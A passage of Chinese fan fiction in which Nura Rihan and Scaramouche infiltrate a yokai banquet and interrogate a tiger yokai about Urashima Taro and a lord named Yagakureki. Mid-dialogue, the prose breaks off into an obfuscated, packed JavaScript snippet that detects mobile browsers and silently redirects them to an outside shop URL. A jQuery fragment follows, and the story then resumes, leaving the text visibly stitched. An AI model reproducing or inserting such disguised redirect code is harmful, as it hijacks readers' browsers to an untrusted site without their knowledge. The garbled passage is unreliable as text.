虽然不惧这些家伙,但这么早就打草惊蛇了,后面会很难办啊。奴良鲤伴无声地叹了口气,手指握上弥弥切丸的刀柄,他能感受到退魔刀的迫不及待,可如果可以,他还是希望不用这么早就采用暴力手段。
比起他们,在场的其他人更为紧张一些,尤其是虎影丸,几乎停不下的汗水将他的毛发打得一缕一缕地缠在一起,又顺着毛发一滴滴地落在地上,积成了一个小小的水洼。
“带上来吧。”
黑袍人将众妖的模样收入眼底,但是托那黑布的福,谁也看不透他的情绪,他一声令下打破了寂静,“沙沙”的织物摩擦在地面上的声音又重新响起,在场人的目光皆追溯着声音都源头望向了门口。无人知晓间,退魔刀出鞘露出了半寸锋芒,只待一个最佳时期。
只见那位狐尾少女做出一副吃力的模样——当然,谁都知道作为一个妖怪并不至于如此——拖着一块黑布进入了大厅。
而造成沙沙声的源头,两人对他都不陌生——正是在进入鬼灯町前在森林中遇到的窥视着他们的小妖。
散兵一双似笑非笑的眼眸看向了身边的奴良鲤伴。大妖怪苦笑着以手扶额,不可抵抗地接收到了其中的嘲笑。
但他觉得这件事怎么也怪不到自己头上吧!
谁能想到上百年不得轻易进出的限制早就被破了不知多少时日,而不管是阴阳师还是妖怪,竟然无一人发现。
奴良鲤伴的眸底划过一丝暗芒,这倒也是不同寻常,根据记载,往年从鬼灯町出去的妖怪,无一例外都会以这里的规则在外界大肆杀戮,随即很快就会被处理,从未有过这种明显越狱了很久,却一点痕迹都找不到的情况。
在这段时间,黑袍人也没闲着,他先是训斥了一圈诸妖的懒散懈怠,又下达了命令:“……接下来正是大人的关键时期,如果谁导致了计划的失败,就用另一种方式弥补吧。”
他的声音平静,却无端生出一股冷意,虎影丸眼神游移不定,粗壮的手指桌面上来回划着圈——他没胆量在这个时候敲击发出声响——身子微微前倾,又时不时向后靠去,仿佛是下定了决心,他的身体前倾的幅度比之前大了些,眼看着就要起身,下一瞬他就觉得颈间一凉——
早就注意到了他异样的奴良鲤伴不知道何时已站在了他的身后,察觉到妖血的弥弥切丸雀跃着散发着冷意。
“滴答。”
自鬓角流下的汗水坠落在地面,虎影丸的身体又僵硬着后靠。
但他的异样太过明显,只听到催命符一般的声音道:“你有什么想说的吗,虎影丸。”
“我……”冰冷的锐器抵在他的脖颈,他咽了咽口水,如同一只家猫般乖巧,“我只是突然想起来,或许,或许能派人守在墙角之类的地方,有什么人进来了我们都能知道——”
“废物。”黑袍人冰冷地看了他一眼,他就不该对这些妖怪报以什么期待。
虎影丸“失落”地低下了头,在旁人或是嘲笑或是可怜或是同情的目光中,劫后余生的喜悦弥漫在了心头,无暇去安抚怦怦乱跳的心脏,他深知,这还远不到放心的时候,自己的身后是谁——?
谁会在这个时候出现呢,谁会在这个时候明明在场却无一人察觉呢,谁会想要阻拦自己说出的话呢——
这个问题似乎不必疑问了。
滑头鬼这种令人难以防备的畏,在这种时刻尤为可怖,而一旦陷入了恐惧便已经输了。不,从他被那家伙的表象欺骗的时候就已经输了。
那么生存的可能——?浦岛太郎?浦岛太郎!
在外界享受着优渥生活的妖怪竟然会到这种地方来,倘若那些是假的,这种“不重要”的目标也应该是重要的才对。
黑袍人退去后自然有小妖换掉残羹冷饭,奉上新的酒食,喧闹的宴会重开,但是虎影丸已经再无心思享乐,他故作不屑地向周围人打听起来这个名字来。
奴良鲤伴和散兵没有离他太远,借着虎影丸的举动,他们也打量起被询问到的妖怪的神色起来。
这些妖怪都是与虎影丸相比不逊色,甚至实力更为强劲的妖怪,所了解到的信息恐怕更多。
散兵扯了扯奴良鲤伴的袖子,冲着角落里的一个身影扬了扬下巴。奴良鲤伴顺着他的示意看过去,那是一个外表看起来几乎就是人类的家伙,干燥毛乱的头发自然披散在肩膀上,遮住了他大半个脸颊,这家伙显然人缘不佳,四周的妖怪交谈间明显有意避开了他。
奴良鲤伴若有所思地把他加入了关注清单,这一趟到确实收获不少,有些家伙听到“浦岛太郎”的名字时,明显态度有些不同,有了目标接下来就好办事了。
虎影丸忧心忡忡地走出了宅邸,他的脚步不复来时的情况,磨磨蹭蹭地,带着几分赶赴刑场的不情不愿,但再长点路也有尽头,与某个寂静的巷子中,他被猛地一推,一个踉跄就被赶入了墙角。
原本街上还有几只游荡的小妖,见突然出现的人影还在好奇地远望着,但身材略显矮小的少年蓦然回头,在他们对那张美丽的面容产生什么别的想法,几道风刃便朝着他们的所在袭来,伴随着几声刺耳的尖叫,还活着的小妖鸟兽散去。
“运气真好。”
散兵瞥了一眼那些逃窜的身影,收回了视线。
“二代目大人。”虎影丸搓着手,一副谄媚的模样,“您吩咐的事情,我已经有头绪了。”
“喔?”奴良鲤伴好像之前用刀抵着虎影丸脖子的不是他一样,甚至笑眯眯地道歉道,“刚刚真是抱歉,没想到会在这种地方‘撞’上你呢。”
“不过看起来我来得正是时候,你好像有什么想对我说的?”
虎影丸僵硬地笑了几声,干巴巴地恭维道,“像您这样的大妖怪,哈哈,这真是令人羡慕的力量。”
他不敢继续再在这个话题下纠缠,“那个——您要找的人——那个浦岛太郎,有一些人的确听过他的名字。”
奴良鲤伴以一副轻松的笑脸鼓励地看着他,但他的手从未离开过腰间的弥弥切丸半分,威胁之意不言而喻。
“他、他是个人类。”
“你再这样用废话拖延时间,我们可要重新评估你的价值了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13176219|133263||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
”散兵慢条斯理的优雅说道。
他的声音不含有任何威胁,但却让虎影丸已贴着墙的身体又后退了几步,这与过于健硕的身体形成的反差,倒显得有几分滑稽的可怜。
“他是元老!这地方一开始他就存在了。”
沉浸在“我们”中的奴良鲤伴捕捉到了关键词,这不是刚刚宴席上虎影丸打听到的消息,“这种消息,你是怎么知道的?”
虎影丸可才来这地方不算太久,而妖怪又不同人类一般喜欢记录历史。毕竟活得久的妖怪自身就是活的历史。
“藏书。”他有些委屈巴巴地,“夜隐鬼大人的书房,我刚来的时候被他们关在里面了好久,无聊之下就翻到了。”
散兵以一种古怪的表情看向了奴良鲤伴,而后者分明从那双带笑的眼眸里读到了“你们妖怪都这么幼稚么”的意思。
“夜隐鬼是谁?”已有线索的猜测和真相看似一线之隔,但把猜测当成确凿的消息是会要了命的。
“就是我们、我我参加的宴会上的主人。”虎影丸吞了吞口水,眼珠一转,贴着身子的手背到了身后,“鬼灯町都听他的,他要我们每个月都到那儿去汇报情况。”虽然大多时间都只是尽情享乐。
“他要你们做什么?”
“看好这里,如果发现有外人就拿下他去汇报。”
“这里能和外界自由出入?”
“不知……”虎影丸看着含笑的大妖怪,一苦脸改口道,“能能能,但应该不是走的守门人那条路。”
他为自己找补:“所以我说得也没错,我确实不知道他们是怎么回事儿。”
一个轻柔的声音插入问道:“那些人类都是都是这种方式进来的吗。”
紧张之下,这般近似温柔的声音无疑让他精神以松,“我觉得不是,只有在夜隐鬼大人那儿才能吃到这么紧实、有嚼劲的肉,和平时那些都不一样——”
“原来如此啊。”散兵的声音依旧轻柔,唇角甚至扯出一个无可挑剔的弧度,但那双不含半分喜意的冰冷眼睛令虎影丸不由打了个寒战。这个少年难道……真的是人类?
更不妙的是那个到这个地方来的公子哥、不,二代目脸上也失去了笑意,他这时候才忽然想起,听说,这位奴良组的继承人,似乎是个有一半人类血统的半妖。
“宴会厅角落的那个男人是谁?那个头发乱糟糟的家伙。”
“他……也是个人类。”
奴良鲤伴挑了挑眉,还没追问,自觉失言的虎影丸便说道:“他是个弱小的家伙,和那些食……人没什么差别,他之所以能坐在那儿,都是夜隐鬼大人的命令。”
“我倒是不知道,只会追寻野兽的本能也会如此听话?”散兵出言刺道。
“所以我怀疑,他是‘里面’的人。”虎影丸带着几分破罐子破摔的情绪说道,“他一定不是外表看起来都那样,不然这小子早就死在其他妖怪手里了。”
“‘里面’?”散兵看向了奴良鲤伴,忍不住嘲弄道,“没想到你对这里的了解程度,和我相比倒也算得上是旗鼓相当么。”